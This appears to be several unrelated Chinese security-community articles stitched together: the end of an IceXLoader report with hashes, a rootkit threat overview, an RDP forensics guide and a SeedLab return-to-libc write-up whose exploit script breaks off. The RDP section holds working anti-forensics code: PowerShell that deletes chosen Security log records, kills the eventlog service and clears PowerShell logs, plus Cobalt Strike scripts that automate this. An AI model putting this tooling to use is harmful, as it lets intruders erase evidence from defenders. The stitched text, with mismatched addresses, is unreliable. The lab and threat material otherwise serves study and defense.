T1590.005 –[收集受害者网络信息：IP 地址](https://attack.mitre.org/techniques/T1590/005/)
T1547.001 –
[启动或登录自动启动执行：注册表运行项/启动文件夹](https://attack.mitre.org/techniques/T1547/001/)
T1059.001
–[命令和脚本解释器：PowerShell](https://attack.mitre.org/techniques/T1059/001/)
T1562.001 –[削弱防御：禁用或修改工具](https://attack.mitre.org/techniques/T1562/001/)
**IOC：
哈希值**
49d6552ae5c5027ce1e68edee2438564b50ddc384276fd97360c92503771d3ac – first stage
dropper
7bb69f98d77ca7609c10b9a0ab1ce32be2e26b160413203d5335f65c1bc8ee72 – downloader
(STOREM~2.EXE)
9a9981d9bd10d3e004457ca4509aeb2bd828f54213f61b8a547c90e52f0b08eb – IceXLoader
dropper (Fcyozgdveenwuzwbrsmfqu.dll)
0911819d0e050ddc5884ea40b4b39a716a7ef8de0179d0dfded9f043546cede9 – IceXLoader
(Opus.exe)
**URL:**
hxxps[:]//www.filifilm[.]com.br/images/colors/purple/Ejvffhop.png – IceXLoader
dropper
**参考:**
<https://rastamouse.me/memory-patching-amsi-bypass/>
* * * | 社区文章 |
### 序言
从西方APT组织的攻击历史及已经泄露的网络攻击武器来看，高隐藏、高持久化（Low&Slow）是已经成为区分威胁等级的关键特征，而Rookit则是达成此目的重要的技术手段之一。
在之前的文章中，“序章：悬顶的达摩克利斯之剑”，带我们领略了Rootkit的前世今生，隐匿于Rootkit背后的影子以及针对Rootkit的基本检测思想。“Windows平台高隐匿、高持久化威胁”和“Linux平台高隐匿、高持久化威胁”各自从宏观角度讲述Windows平台和linux平台下，Rootkit技术原理、应用和发展现状以及攻防角度的总结。“Rootkit检测技术发展现状”让我们见识到了防御方对抗Rootkit的技术。
本文则是在“Windows平台高隐匿、高持久化威胁”的基础上，结合攻击者在攻击中利用到的技术手段，对Windows平台上的rootkit的运行效果及应用方面进行介绍。
### Rootkit威胁情报-战火从未停止
2015年4月，安全研究团队发表了关于Turla组织的Rootkit分析报告。
2016年8月，安全研究团队发布了索伦之眼（ProjectSauron）相关的技术细节。
2018年10月，安全研究人员披露有驱动护体的挖矿病毒ProtectionX。
2019年4月，安全研究团队发布关于跨平台间谍Rootkit Scranos的文章。
2021年10月，安全研究团队披露了DirtyMoe Rootkit 驱动程序。
2021年12月，安全研究团队披露了方程式组织（Equation Group）的攻击框架DanderSpritz。
2022年1月，安全研究团队披露了紫狐（Purple Fox）僵尸网络通过伪装Telegram安装程序释放Rootkit的攻击事件。
### 紫狐-黑产中Rootkit技术应用的代表
紫狐是已经持续多年的、以营利为目的的网络黑产组织，他们历来每次出现在视野中，都会变化一种攻击方式或技术。
攻击者控制大量受害终端，通过刷量、推广用户不需要的软件来获利，这会拖慢设备性能，严重影响受害者的正常使用。
其恶意程序使用了Rootkit技术，以至于具有很高的隐蔽性，很难被受害者发掘和清除。
在紫狐病毒释放器下载最终Purple Fox
Rootkit载荷之前，我们注意到释放程序会安装一个名为“Driver.sys”的驱动程序，用于注销名为“360FsFlt”的Minifilter，并关闭名为“ZhuDongFangYu.exe”的进程，来规避安全软件检测。
“ZhuDongFangYu.exe”的进程是从驱动启动的，用常规手段是无法关闭的。
驱动服务运行后，通过一个独立的命令行工具进行调用，通过I\O 通讯传递指令，具有四种命令，对应四种功能。
实际运行效果如下：
关闭指定文件过滤器
拷贝文件
删除文件
结束进程
在分析过程中我们发现，该驱动程序为了避免被检测，在文件拷贝和删除文件的过程中没有使用常规的API函数，而是通过IofCallDriver函数向文件设备发送带有操作的IRP数据，以此达到文件操作的目的。
而在关闭进程功能上，更是提供了两种结束进程的方法，来规避检测。而且我们发现，该驱动目前仍是半成品的状态，也就是说，攻击者仍在进行功能的迭代升级。
在完成安全软件进程关闭后，释放文件才会继续下载最后的Purple Fox
Rootkit，经分析，该Rookit是基于开源Rookit项目“Hidden”修改，
**具有隐藏注册表项和值、隐藏文件和目录、隐藏进程、保护指定进程等功能。**
文件隐藏运行效果：
注册表隐藏运行效果：
进程保护运行效果：
由此可见，学习开源项目也是攻击者提升攻击能力的有效方式，他们也在不断吸取新的技术，应用与攻击活动之中。
### APT组织的高对抗利器
Turla组织最早可以追溯到2004年，已经 **超过45个国家** 受到相关攻击， **涉及政府、大使馆、军事、教育、研究和制药公司等**
多个行业。其攻击使用的技战术一直都有着较高的技术水平， **对于国家和行业机密有着极大的威胁。**
本事件中使用的Rootkit主要功能是通过HOOK一系列系统调用函数，隐藏和保护其用户态组件。然后通过修改Ntoskrnl.exe和Ndis.sys的内存数据，在0xc3处创建一个新的IDT条目并重定向所有的被HOOK的函数到一个简单的中断句柄（ISR），每个被HOOK的函数都有一个唯一的标识符与ISR中的派遣函数相对应。
由于能够该方法能够 **禁用任何主机内的HOOK机制，** 因此传统的针对Rookit的监测能力都受到了限制。
Turla
rootkit还使用了两个虚拟文件系统，一个NTFS文件系统和一个FAT文件系统，也就是说，受害者主机上有一个承载了文件系统的加密文件，攻击者将其作为工作空间使用。
这里突出了Turla组织攻击活动所使用的工具非常 **具有高对抗性，** 能够做到从系统层面避免安全软件的检测和查杀。
除了Rootkit部分，还有一点值得注意，Turla在攻击过程中会使用一个名为“VBoxDrv.sys”的驱动程序，该驱动程序存在CVE-2008-3431漏洞，攻击者能够利用该漏洞完成权限提升。
这里就要说到一个概念“VulnDriver”，也就是 **带有漏洞的驱动程序，** 比较常见的VulnDriver还有GDRV.sys
（CVE-2018-19320），Novell (CVE-2013-3956), CPU-Z (CVE-2017-15302), ASUS
(CVE-2018-18537)。
挖矿木马常用的矿机所使用的WinRing0.sys也是一个非常常见的VulnDriver，这个驱动是一个名为NZXT
CAM的计算机硬件性能监控产品内的一个便于程序访问Windows内核的组件。这个看起来不大的驱动程序上存在着 **多达11个CVE漏洞，**
其中CVE-2020-13516可以越权直接从USB和PCI设备查询信息；CVE-2020-13515可以越权将数据写入I/O总线，可能会更改PCI配置信息或特定于供应商的数据寄存器，帮助其他程序完成提权；CVE-2020-13518可以越权直接访问rdmsr，任意读取MSR内数据；CVE-2020-13519可以越权直接访问writemsr，向MSR内写入数据。
因此，利用这个驱动程序做很多事情，其利用成本低，很受以营利为目的网络攻击者欢迎。
在前段时间Log4j 曝出存在RCE漏洞的时候，该漏洞被大量的黑产攻击者利用，这个驱动程序也连带着出现在了大众的视野之中。
这些VulnDriver带着官方的签名，而且本身没有什么恶意行为，因此很多安全厂商都不会告警。
在不久前被曝光的方程式组织的后渗透框架DanderSpritz中，也存在VulnDriver的利用，在其名为DoubleFeature的插件中，存在名为hidsvc.sys的驱动程序，该驱动程序存在
CVE-2017-0005 漏洞，能够让攻击者通过用户层代码指定名称和参数来调用内核功能。
说到这，我们来简单了解一些方程式这个组织吧。
方程式组织被称为世界上最尖端的网络攻击组织之一，和恶名昭彰的震网（Stuxnet）和火焰（Flame）有着很深的联系。
震网是一个全球性质的工业病毒，是世界上首个网络“超级破坏性武器”，曾被用来攻击伊朗核设施，手法极其阴险。
同时，我国的工业设施也受到了一定的影响。
因此他们的存在，是国家机密和关键基础设施巨大的威胁。
在这次被曝光的项目中存在一个远程访问工具，其下有一个名为MSNDSRV.sys的驱动程序。
该驱动程序曾在2015年的EquationDrug
组件中被提到，可以隐藏用户侧组件，另外可以在注册表遍历所有网卡，调用NdisRegisterProtocol函数注册一个NDIS流量监听器，可以接收到受害主机所有流量，实现通讯流量监控。
在两个庞大的项目中，这个驱动程序显得微不足道，和之前提到的Rootkit程序相比，方程式组织的Rootkit技术没有核心组件的地位，只是整个项目下某一个插件下的一个组件，是一个
**“随取随用”** 的地位。
但就是这样一个看起来不值一提的组件，在两个程序中都出现了。
足以说明，Rookit是方程式组织在攻击组件开发的过程中非常常用的技术，而对于这类常用的组件，攻击者也不会花太多心思进行二次开发。
然而就算是这样，安全厂商仍旧鲜有捕获到方程式组织的活动痕迹，该组织的高隐匿技术之强，可想而知。
### 检测-这是一场与攻击者的军备竞赛
业界对反Rootkit软件使用的技术进行了分类。 **签名的检测（Signature-based detection）、文件完整性监测（File
integrity monitoring）、Rootkit Hook检测（Rootkit hooking detection）、交叉视图分析（Cross-view analysis）以及基于网络的检测（Network-based detection）。**
基于签名的检测就是 **匹配rootkit软件字节特征**
，缺点是无法匹配新的rootkit，而且特征容易更改，对于已安装rootkit的系统再实施检测不理想。
文件完整性监测，该方法 **计算关键的、不变的操作系统文件的哈希，并将其与存储在数据库中的已知值进行比较。**
这项技术对于在磁盘上修改系统二进制文件的rootkit很有效，但rootkit的作者很快使用hooking或DKOM技术，以此篡改执行结果，使得检测效果不理想。
Rootkit Hook检测， **SSDT、IAT和IDT都有一组用于每个服务或中断的函数指针，它们都在内存中的特定范围内。**
当rootkit修改Hook指向恶意服务或中断例程时，函数指针所指向的位置几乎总是位于特定内存地址范围之外。在这期间还发展了Inline
Hook形式，来规避这些关键表的检测，后来发展了FSD Hook、FSD Inline Hook。
交叉视图分析， **交叉视图分析涉及从“用户”或“API”视图查看系统，并将其与低级视图进行比较，**
交叉视图方法可以检测基于DKOM和系统例程补丁的Rootkit，不能检测基于HOOK的Rootkit。
基于网络的检测，理论上，rootkit可能会试图隐藏其网络通信，以逃避操作系统或用户的检测，但是 **从系统外部还是能看到流量的，**
这方面成了C2隐藏通信和网络检测的较量。
Windows也引进了一些防御技术，PatchGuard和DSE。PatchGuard用于内核完整性检测，守护容易被HOOK的地方。DSE用于检测驱动签名，限制未签名驱动加载。上文提到的Turla则绕过了这种限制，通过引入VulnDriver间接绕过。通过修改内存中的特殊变量就能关闭DSE功能，此时，加载第二个未签名的恶意驱动，直接
**HOOK PatchGuard告警的关键函数，** 在下一个内核完整性校验过程中不让异常表现出来，从而完成了PatchGuard功能的绕过。
### 总结
说了这么多，其实只想说明一个问题，那就是Rootkit技术一直都没有过时，它一直都是攻击者青睐的攻击技术。
**虽然他的热度被各式各样的新型网络威胁所掩盖，但在那些网络攻击的事件中，我们又常常能见到它的影子。**
在我们忙于研究处理其他网络威胁技术的时候，它也在以某种的方式存在，并不断成长着。在安全厂商不断提升己方检测能力的同时，攻击者也在不断提升对抗能力，传统的检测方式不断的承受着一轮又一轮的攻击。
对于高对抗的Rookit技术的检测，对于传统的检测技术是一个很大的挑战，安全厂商还有很多的工作要去完成。
### 参考链接
1. <https://decoded.avast.io/martinchlumecky/dirtymoe-rootkit-driver/>
2.<https://blog.talosintelligence.com/2020/12/vuln-spotlight-NZXT-CAM-.html>
3.<https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit>
4.<https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/>
5.<https://mp.weixin.qq.com/s/a1LgQqmkGFYYq7JQLQKmMQ>
6.《Eset-Turla-Outlook-Backdoor》
7.<https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831/>
8.<https://unit42.paloaltonetworks.com/acidbox-rare-malware/【Rootkit系列研究】Windows平台高隐匿、高持久化威胁（二）> | 社区文章 |
**本文以`server08`为例，示例脚本以`powershell`为主**
适用人群：运维、安全
`RDP`登录方式
* 暴破登录：`多次登录失败`&`登录成功`
* 管理员登录：账户密码、凭据
* console模式登录
使用工具：
* `wevtutil`
* `LogParser`
* `powershell`
* `regedit`
## 一：取证
取证关键点：
* `登录ip`
* `登录ip端口`
* `登录时间`
* `登录客户端主机名`
* `登录后操作日志`
* `服务端敏感文件`
* `服务端登录的服务器ip`
* `服务端浏览器记录`
### 1.1 登录成功
`EventID=4624`，从安全日志中获取登录成功的客户端`登录ip`、`登录源端口`、`登录时间`等信息
#### 1.1.1 Security 线上分析
* `LogParser`
`LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date,
EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|')
AS SourceIP, EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv
FROM Security WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND
LogonType = '10' ORDER BY timegenerated DESC" -o:CSV`
* `wevtutil`
`wevtutil qe Security /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and
EventData[(Data[@Name='LogonType']='10')]]"`
* `wevtutil + powershell`
`wevtutil epl Security ./Sec.evtx`
function WinSuccEvent
{
[CmdletBinding()]
Param (
[string]$csv,
[string]$evtx = $pwd.Path+"\Sec.evtx"
)
$time=Get-Date -Format h:mm:ss
$evtx=(Get-Item $evtx).fullname
$outfile=(Get-Item $evtx).BaseName+".csv"
$logsize=[int]((Get-Item $evtx).length/1MB)
write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
[xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-Security-Auditing'] and (EventID=4624)] and EventData[Data[@Name='LogonType']='10']]" /e:root /f:Xml /lf
$xmlEvent=$xmldoc.root.Event
function OneEventToDict {
Param (
$event
)
$ret = @{
"SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
"EventRecordID" = $event.System.EventRecordID
"EventID" = $event.System.EventID
}
$data=$event.EventData.Data
for ($i=0; $i -lt $data.Count; $i++){
$ret.Add($data[$i].name, $data[$i].'#text')
}
return $ret
}
filter Convert-DateTimeFormat
{
Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
try {
([DateTime]$_).ToString($OutputFormat)
} catch {}
}
$time=Get-Date -Format h:mm:ss
write-host [+] $time Extract XML ... -ForegroundColor Green
[System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
for ($i=0; $i -lt $xmlEvent.Count; $i++){
$event = $xmlEvent[$i]
$datas = OneEventToDict $event
$results.Add((New-Object PSObject -Property $datas))|out-null
}
$time=Get-Date -Format h:mm:ss
$results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventRecordID
if($csv){
write-host [+] $time Dump into CSV: $outfile ... -ForegroundColor Green
$results | Select-Object SystemTime,IpAddress,IpPort,TargetDomainName,TargetUserName,EventID,LogonType,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture -Encoding Default -Force
}
}
#### 1.1.2 Security 离线分析
导出安全日志为：`Security.evtx`
* `LogParser`
`LogParser.exe -stats:OFF -i:EVT "SELECT TimeGenerated AS Date,
EXTRACT_TOKEN(Strings, 8, '|') as LogonType, EXTRACT_TOKEN(Strings, 18, '|')
AS SourceIP ,EXTRACT_TOKEN(Strings, 19, '|') AS Sport INTO RdpLoginSuccess.csv
FROM Security.evtx WHERE EventID = '4624' AND SourceIP NOT IN ('';'-') AND
LogonType = '10' ORDER BY timegenerated DESC" -o:CSV`
* `wevtutil`
`wevtutil qe ./Security.evtx /q:"*[System[(EventRecordID=1024)]]" /e:root
/f:xml`
#### 1.1.3 `TerminalServices/Operational`
* `RemoteConnectionManager` \- `EventID=1149`
`wevtutil qe Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational "/q:*[TerminalServices-LocalSessionManager[(EventID=1149)]]" /f:text /rd:true /c:1`
过滤`id：1149`且仅显示存在`Param2`数据
`wevtutil epl Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational ./TerminalServices.evtx`
function TerminalServices {
[CmdletBinding()]
Param (
[string]$csv,
[string]$evtx = $pwd.Path+"./TerminalServices.evtx"
)
$time=Get-Date -Format h:mm:ss
$evtx=(Get-Item $evtx).fullname
$outfile=(Get-Item $evtx).BaseName+".csv"
$logsize=[int]((Get-Item $evtx).length/1MB)
write-host [+] $time Load $evtx "("Size: $logsize MB")" ... -ForegroundColor Green
[xml]$xmldoc=WEVTUtil qe $evtx /q:"*[System[Provider[@Name='Microsoft-Windows-TerminalServices-RemoteConnectionManager'] and (EventID=1149)]]" /e:root /f:Xml /lf
$xmlEvent=$xmldoc.root.Event
write-host $xmlEvent.Count
function OneEventToDict {
Param (
$event
)
Try {
$CheckLoginStatus = $event.UserData.EventXML.Param2
if ($CheckLoginStatus) {
$ret = @{
"SystemTime" = $event.System.TimeCreated.SystemTime | Convert-DateTimeFormat -OutputFormat 'yyyy"/"MM"/"dd HH:mm:ss';
"EventRecordID" = $event.System.EventRecordID
"EventID" = $event.System.EventID
"Param1" = $event.UserData.EventXML.Param1
"Param2" = $event.UserData.EventXML.Param2
"Param3" = $event.UserData.EventXML.Param3
}
}
}
Catch {
continue
}
return $ret
}
filter Convert-DateTimeFormat
{
Param($OutputFormat='yyyy-MM-dd HH:mm:ss fff')
try {
([DateTime]$_).ToString($OutputFormat)
} catch {}
}
$time=Get-Date -Format h:mm:ss
write-host [+] $time Extract XML ... -ForegroundColor Green
[System.Collections.ArrayList]$results = New-Object System.Collections.ArrayList($null)
for ($i=0; $i -lt $xmlEvent.Count; $i++){
$event = $xmlEvent[$i]
$datas = OneEventToDict $event
try {
$results.Add((New-Object PSObject -Property $datas))|out-null
}
catch {
continue
}
}
$time=Get-Date -Format h:mm:ss
$results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID
if($csv){
write-host [+] $time Dump into CSV: $outfile ... #-ForegroundColor Green
$results | Select-Object SystemTime,Param1,Param2,Param3,EventRecordID | Export-Csv $outfile -NoTypeInformation -UseCulture -Encoding Default -Force
}
}
同理：
* `LocalSessionManager` \- `EventID:24/25`
`wevtutil epl Microsoft-Windows-TerminalServices-LocalSessionManager/Operational ./LocalSessionManager.evtx`
* `ClientActiveXCore` \- `EventID:1024`
`wevtutil epl Microsoft-Windows-TerminalServices-RDPClient/Operational
./ClientActiveXCore.evtx`
### 1.2 登录失败
`EventID=4625`，分析语句 **同理** 登录成功
### 1.3 客户端主机名
注册表`HKEY_USERS\SID\Volatile Environment\X.CLIENTNAME`
`powershell`实现代码如下：
function ClientHostName {
$UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
foreach($Name in $UserSID) {
$RegPath = "Registry::HKEY_USERS\"+$Name+"\Volatile Environment\"
Try {
$Servers = dir $RegPath -Name -ErrorAction Stop
foreach ($Server in $Servers) {
$ClientHostName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CLIENTNAME
Write-Host "[+] RegPath: "$RegPath$Server
Write-Host "[+] ClientHostName: "$ClientHostName
}
}
Catch {
continue
}
}
}
### 1.4 远程server
注册表`HKEY_USERS\SID\Software\Microsoft\Terminal Server Client\Servers\*`
其中， **保存凭据** 的单独显示
`powershell`实现代码如下：
function RdpServer {
$UserSID = dir "Registry::HKEY_USERS" -Name -ErrorAction Stop
foreach($Name in $UserSID) {
$RegPath = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Servers\"
Try {
$Servers = dir $RegPath -Name -ErrorAction Stop
foreach ($Server in $Servers) {
$UserName = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).UsernameHint
Write-Host "[+] Server: "$Server" UserName: "$UserName
$CertHash = (Get-ItemProperty -Path $RegPath$Server -ErrorAction Stop).CertHash
if($CertHash) {
Write-Host "[+] Server: "$Server" UserName: "$UserName" CertHash: "$CertHash
}
}
}
Catch {
continue
}
$RegPathDefault = "Registry::HKEY_USERS\"+$Name+"\Software\Microsoft\Terminal Server Client\Default\"
Try {
$RegPathValues = Get-Item -Path $RegPathDefault -ErrorAction Stop
foreach ($RegPathValue in $RegPathValues.Property ){
write-host "[+] Server:port > "$RegPathValues.GetValue($RegPathValue)
}
}
Catch {
continue
}
}
}
### 1.5 日志量最大限制
注册表`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security`
function ChangeSecurityMaxSize {
$SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
$SecurityRegValue = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
write-host "Old Size: "+$SecurityRegValue
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'MaxSize' -value '209715200'
$SecurityRegValueCheck = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).MaxSize
write-host "New Size: "+$SecurityRegValueCheck+'(200M)'
}
### 1.6 RDP开放端口
查询注册表
$RegPath = "Registry::HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
$RDPportValue = (Get-ItemProperty -Path $RegPath -ErrorAction Stop).PortNumber
write-host $RDPportValue
### 1.7 挂载驱动器监控
参考github：[DarkGuardian](https://github.com/FunnyWolf/DarkGuardian)
## 二：清除
**以下两种方式根据修改注册表实现**
以powershell为例：
**需要修改注册表**
`Set-Itemproperty -path
'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security'
-Name 'File' -value C:\Windows\System32\winevt\Logs\Security_new.evtx`
及
tasklist /svc | findstr "eventlog"
taskkill /F /PID 279
net start eventlog
### 2.1 `EventRecordID`单条删除
单条日志清除
`wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx
/q:"*[System[(EventRecordID!=6810)]]" /ow:true`
### 2.2 `IpAddress`批量删除
源`ip`清除
`wevtutil epl Security C:\Windows\System32\winevt\Logs\Security_new.evtx
/q:"*[EventData[(Data[@Name='IpAddress']!='127.0.0.1')]]" /ow:true`
### 2.3 `powershell`示例
[CmdletBinding()]
Param (
[string]$flagvalue,
[string]$evtx = $pwd.Path
)
$SecurityRegPath = "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security"
$SecurityFileRegValueFileName = (Get-ItemProperty -Path $SecurityRegPath -ErrorAction Stop).File
$SecurityFileRegValueNew = $SecurityFileRegValueFileName.Replace("Security","Security_bak")
$SecurityFileRegValueNewFlag = $SecurityFileRegValueFileName.Replace("Security","NewSecFlag")
write-host $SecurityFileRegValueFileName
# clear
Try{
wevtutil epl Security $SecurityFileRegValueNew /q:"*[System[(EventRecordID!="$flagvalue")]]" /ow:true
}
Catch {}
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueNewFlag
$EventlogSvchost = tasklist /svc | findstr "eventlog"
$EventlogMatch = $EventlogSvchost -match "(\d+)"
$EventlogSvchostPID = $Matches[0]
# Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId
write-host $EventlogSvchostPID
taskkill /F /PID $EventlogSvchostPID
Try{
Remove-Item $SecurityFileRegValueFileName -recurse
}
Catch {}
Try{
Remove-Item $SecurityFileRegValueNewFlag -recurse
}
Catch {}
ren $SecurityFileRegValueNew $SecurityFileRegValueFileName
Set-Itemproperty -path 'Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\eventlog\Security' -Name 'File' -value $SecurityFileRegValueFileName
net start eventlog
同理批量删除如下：
# clear
Try {
wevtutil epl Security $SecurityFileRegValueNew /q:"*[EventData[(Data[@Name='IpAddress']!='')]]" /ow:true
}
Catch {}
## 三：脚本化
结合Cobalt Strike可实现自动化，具体可参考[cna脚本编写](https://www.cobaltstrike.com/aggressor-script/index.html)
### 3.1 取证示例
item "RdpSuccessEvent" {
local('$bid');
foreach $bid ($1){
blog($1, "Get RDP Success Event (4624).");
bpowershell($bid,"wevtutil epl Security ./Sec.evtx");
bpowershell_import($bid, script_resource("./powershell/WinSuccEvent.ps1"));
bpowerpick($bid,"WinSuccEvent");
#bpowershell($bid,"WinSuccEvent");
brm($1,"Sec.evtx");
bpowershell($bid,"wevtutil cl \"Windows PowerShell\"");
}
}
### 3.2 清除示例
item "IDEventClear" {
prompt_text("Input Clear EventRecordID","1024",lambda({
blog(@ids,"Delete Security Event where EventRecordID = $1");
bpowershell_import(@ids, script_resource("./powershell/IDEventClear.ps1"));
bpowerpick(@ids,"IDEventClear $1");
bpowershell(@ids,"wevtutil cl \"Windows PowerShell\"");
},@ids => $1));
}
## 参考
* [lostwolf](https://www.t00ls.net/thread-50632-1-1.html)
* <https://3gstudent.github.io/>
* <https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil>
* <https://mp.weixin.qq.com/s/ige5UO8WTuOOO3yRw-LeqQ> | 社区文章 |
# Seedlab Ret2Libc 与 ROP WriteUp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 作者 江湾老菜
>
> ## 简介
>
>
> 本文将简单介绍[SeedLab的Ret2Libc](https://seedsecuritylabs.org/Labs_20.04/Software/Return_to_Libc/)实验的ROP部分。
>
> 代码可以从这个[链接](https://seedsecuritylabs.org/Labs_20.04/Files/Return_to_Libc/Labsetup.zip)下载。
Seedlab的文档中提到过一种ROP的攻击方法，但并没有给出优雅的实现。本文将分享一下我的作法，在介绍ROP之前，我会先简单介绍一下这个实验的return
to libc 部分，让大家对实验设置有一个大概的了解。
## Return to Libc 实验
### 实验设置
首先，Return to Libc实验给了一个存在栈溢出的Bug的C程序:
int bof(char *str){
char buffer[BUF_SIZE];
unsigned int *framep;
// Copy ebp into framep
asm("movl %%ebp, %0" : "=r" (framep));
/* print out information for experiment purpose */
printf("Address of buffer[] inside bof(): 0x%.8x\n", (unsigned)buffer);
printf("Frame Pointer value inside bof(): 0x%.8x\n", (unsigned)framep);
strcpy(buffer, str);
return 1;
}
很明显，bug出在strcpy()函数的使用上: 如果字符串str的长度大于BUF_SIZE,
bof()的栈顶和返回地址会被覆盖掉，从而程序的控制流会被劫持。
程序编译的方式为:
N = 66
retlib: retlib.c
gcc -m32 -DBUF_SIZE=${N} -fno-stack-protector -z noexecstack -o $@ [email protected]
sudo chown root $@ && sudo chmod 4755 $@
_sudo chmod 4755_ 中，4的含义是让其他用户能够以root的权限执行retlib程序，也就是说, 这是一个有[Set-UID](https://www.computerhope.com/jargon/s/setuid.htm)权限程序。通过攻击这个有bug的程序，普通用户能够以root的权限执行命令！
另外, 实验将/bin/zsh软连接到/bin/sh:
sudo ln -sf /bin/zsh /bin/sh
这是因为在system运行的时候，会先调用”/bin/sh”执行程序，再用”/bin/sh”执行指令。而”/bin/sh”默认指向的”/bin/bash”会先drop掉Set-UID权限再执行指令。因此即使system(“/bin/zsh”)，也需要先执行”/bin/sh”,
我们无法直接获取有root权限的shell。这里的设置实际是简化了难度，而在ROP实验中，我们会将恢复”/bin/sh”的软连接。
最后，实验关闭了系统的ASLR, 因此程序段和堆栈的地址是固定的:
sudo sysctl -w kernel.randomize_va_space=0
### Return to Libc 攻击方法
#### Return to Libc 程序分析
我们先来分析来一下被攻击程序。通过上面的编译选项我们看到，retlib:
* 是一个32位的程序:`-m 32`
* 关闭了栈溢出保护:`-fno-stack-protector`
* 栈是不可执行的:`-z noexecstack`
程序的main函数会先从badfile文件中读取1000个字符，存在main函数的input[]中，然后把input[]的地址传给刚刚分析的有bug的bof()函数。代码如下:
int main(int argc, char **argv)
{
char input[1000];
FILE *badfile;
badfile = fopen("badfile", "r");
int length = fread(input, sizeof(char), 1000, badfile);
printf("Address of input[] inside main(): 0x%x\n", (unsigned int) input);
printf("Input size: %d\n", length);
bof(input);
printf("(^_^)(^_^) Returned Properly (^_^)(^_^)\n");
return 1;
}
我们先创建一个空的badfile，然后运行程序retlib:
$ touch badfile
$ make
$ ./retlib
Address of input[] inside main(): 0xffffc050
Input size: 300
Address of buffer[] inside bof(): 0xffffc020
Frame Pointer value inside bof(): 0xffffc038
(^_^)(^_^) Returned Properly (^_^)(^_^)
现在badfile为空,
程序正常返回。但通过这次运行我们通过输出拿到了input[]的地址，bof函数中buffer[]的地址，以及bof函数ebp的地址。由于系统的地址随机化保护是关闭的，下次运行这个程序时，这些地址不变。
由于栈不可执行，我们不能把shellcode放在栈上，然后修改返回地址，让程序返回地址指向shellcode的地址来获得shell权限。 但是,
我们可以把返回地址修改到libc的system()函数，通过执行system(“/bin/sh”), 来拿到shell的权限。
bof()函数执行strcpy()之前，bof的栈地址空间如下:
Higher Address
......
---------------------------- return address
---------------------------- Stack address of return address: 0xffffc03c
old ebp
---------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
---------------------------- Address of buffer[]: 0xffffc020
Lower Address
而我们需要通过栈溢出把返回地址修改成system()的地址:
Higher Address
---------------------------- "/bin/sh" address
---------------------------- Argument 1 address of system(): 0xffffc044
return address of system
---------------------------- system address
---------------------------- Stack address of return address: 0xffffc03c
xxxx
---------------------------- Frame Pointer: 0xffffc038
xxxxx
xxxxx
.....
---------------------------- Address of buffer[]: 0xffffc020
Lower Address
这样，程序返回的时候，就会执行system(“/bin/sh”);
#### Return to Libc攻击
首先，通过gdb调试，我们可以获取system()地址和system()返回的地址(exit函数):
./retlib
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e11420 <system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xf7e03f80 <exit>
system()的地址是 0xf7e11420, 由于系统的地址随机化保护是关闭的，下次运行程序时，这个地址是不变的。
然后，我们需要把”/bin/sh”地址放在栈上，并把system()第一个参数写成它的地址。由于字符串的结尾’`x00`‘会让strcpy()终止，我们需要把”/bin/sh”放在栈的最后。
通过计算得到返回地址和buffer之间的距离是: 0x1c(0xff83a2cc – 0xff83a2b0)。
因此我们需要在badfile的0x1c地方写入system()地址，在0x1c+4处写入exit地址，在0x1c+8处写入”/bin/sh”地址。”/bin/sh”也是一个字符串，如果写在在了badfile的A个字符处，因此它在栈上的地址是（buffer地址
+ A）。
综合以上分析，构造程序的输入如下:
#!/usr/bin/env python3
import sys
content = bytearray(0xaa for i in range(300))
content[100: 100+9] = b"/bin/sh\x00"
X = 0x1c+8
sh_addr = 0xffffc020 + 100 # The address of "/bin/zsh"
